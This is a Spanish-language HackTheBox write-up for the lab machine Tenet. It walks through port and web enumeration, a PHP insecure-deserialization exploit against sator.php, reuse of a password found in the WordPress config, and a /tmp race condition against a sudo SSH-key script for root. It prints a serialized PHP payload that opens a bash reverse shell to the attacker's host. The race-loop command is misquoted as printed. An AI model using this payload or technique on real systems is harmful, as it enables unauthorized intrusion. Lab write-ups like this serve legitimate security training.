Tenet - HackTheBox
Empece haciendo un escaneo con Nmap de los puertos y servicios que tiene abiertos la máquina.
┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ nmap -sS --min-rate=5000 -p- -v -Pn -n 10.10.10.223 -oG allPorts
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 15:15 CEST
Initiating SYN Stealth Scan at 15:15
Scanning 10.10.10.223 [65535 ports]
Discovered open port 22/tcp on 10.10.10.223
Discovered open port 80/tcp on 10.10.10.223
Completed SYN Stealth Scan at 15:16, 13.01s elapsed (65535 total ports)
Nmap scan report for 10.10.10.223
Host is up (0.087s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
Raw packets sent: 65595 (2.886MB) | Rcvd: 65535 (2.621MB)
Tiene dos puertos abiertos, el primero de SSH y el segundo es un servidor web que corre por su puerto predeterminado, hice otro escaneo para ver la versión de cada servicio.
┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ nmap -sC -sV -p22,80 10.10.10.223 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-13 15:16 CEST
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds
Nmap me reporto que estaba frente a un WordPress, quise verificar eso, para ello utilice “WhatWeb”.
┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ whatweb http://10.10.10.223/
http://10.10.10.223/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.223], Title[Apache2 Ubuntu Default Page: It works]
“WhatWeb” no me lo reporto, pero efectivamente estaba ante un WordPress, también hice un “Fuzzing” con “Gobuster” para ver si me encontraba algún directorio potencial.
┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ gobuster dir -u "http://10.10.10.223/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.223/
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/13 15:18:35 Starting gobuster
===============================================================
/wordpress (Status: 301)
Progress: 2467 / 220562 (1.12%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/06/13 15:18:45 Finished
===============================================================
Efectivamente pude confirmar que era un WordPress, me fui a la página para ver que había.
Al parecer se estaba aplicando “Virtual Hosting” y no estába apuntando al dominio que tiene alojado el host, mire el código fuente y tenet.htb es el dominio desde el que estaba apuntando el host.
Simplemente lo incluí en /etc/hosts para que apunte al host y poder ver lo que tenía.
Ahora si pude ver lo que contenía realmente.
Encontré un usuario potencial.
Quise probarlo en WordPress, ya que te permite la enumeración de usuarios.
El usuario era válido, pensé en hacer fuerza bruta, pero quería indagar más en la página, también vi este comentario que me llamo mucho la atención.
Probando distintas cosas, llegue a dar con la conclusión de que sator es un subdominio de tenet.htb, lo incluí en el /etc/hosts.
En el comentario también mencionaba algo de PHP junto a sator, probé a unirlos y ver si era una archivo PHP, al parecer si lo era, esto es lo que tenía.
El comentario hablaba de un “backup”, por lo que me dio por probar añadir un .bak al archivo sator.php y me descargo un archivo.
Le hice un cat para ver su contenido.
Al parecer era el código fuente de sator.php, esto me iba a permitir plantear más bien el siguiente paso de la intrusión, el código lo que hace es recibir un input desde el parámetro arepo y lo deserializa, esto era un ataque de deserializacion insegura por PHP como una casa, ahora lo que tenía que hacer es crear el código malicioso serializado para que en la deserializacion ejecute mi sentencia maliciosa en PHP, en este caso una reverse shell por netcat.
Este es el código PHP que utilice para la serialización.
┌─[root@parrot]─[/home/wackyhacker/Desktop]
└──╼ php --interactive
php > class DatabaseExport {
php > public $user_file = 'shell.php';
php > public $data = '<?php shell_exec("bash -c \'bash -i >& /dev/tcp/10.10.16.5/443 0>&1\'"); ?>'; }
php > print urlencode(serialize(new DatabaseExport));
Una vez serializado lo introduje en el input de “arepo” (http://10.10.10.223/sator.php?arepo={code_serialize})
Y me otorgo una shell por netcat.
Hice un tratamiento de la TTY e intenté visualizar la “flag” de “user” pero no tenía permisos, me tenía que convertir en el usuario neil.
Recordé que estaba tratando con un WordPress, así que busque y visualice su archivo de configuración que contiene la contraseña.
Probé a autenticarme como neil y funciono.
ESCALADA DE PRIVILEGIOS
Visualice la “flag”, ahora solo faltaba la escalada de privilegios, hice un sudo -l
para ver si se podía ejecutar algo como el usuario ROOT y me encontré un script.
Le hice un “cat” a la ruta absoluta con xargs
para ver que es lo que hacía.
Lo que hace el script es crear una clave id_rsa.pub y alojarla en /tmp/ssh-{XXXXX}->(caracteres aleatorios) y luego copia el contenido del archivo en known_hosts. Si tenemos la capacidad de incluir nuestra clave publica en /tmp antes de que se copie a known_hosts podremos iniciar en SSH como el usuario ROOT. Para ello hice uso del siguiente comando en una ventana autenticado en SSH como el usuario neil.
neil@tenet~$ while true; do echo "{SSH_PUBLIC} | tee /tmp/ssh* > /dev/null; done"
Y en otra ventana con SSH como el usuario neil le di permisos de ejecución al script y lo ejecute recursivamente unas cuantas veces.
neil@tenet~$ sudo ./usr/local/bin/enableSSH.sh
y…
Leave a comment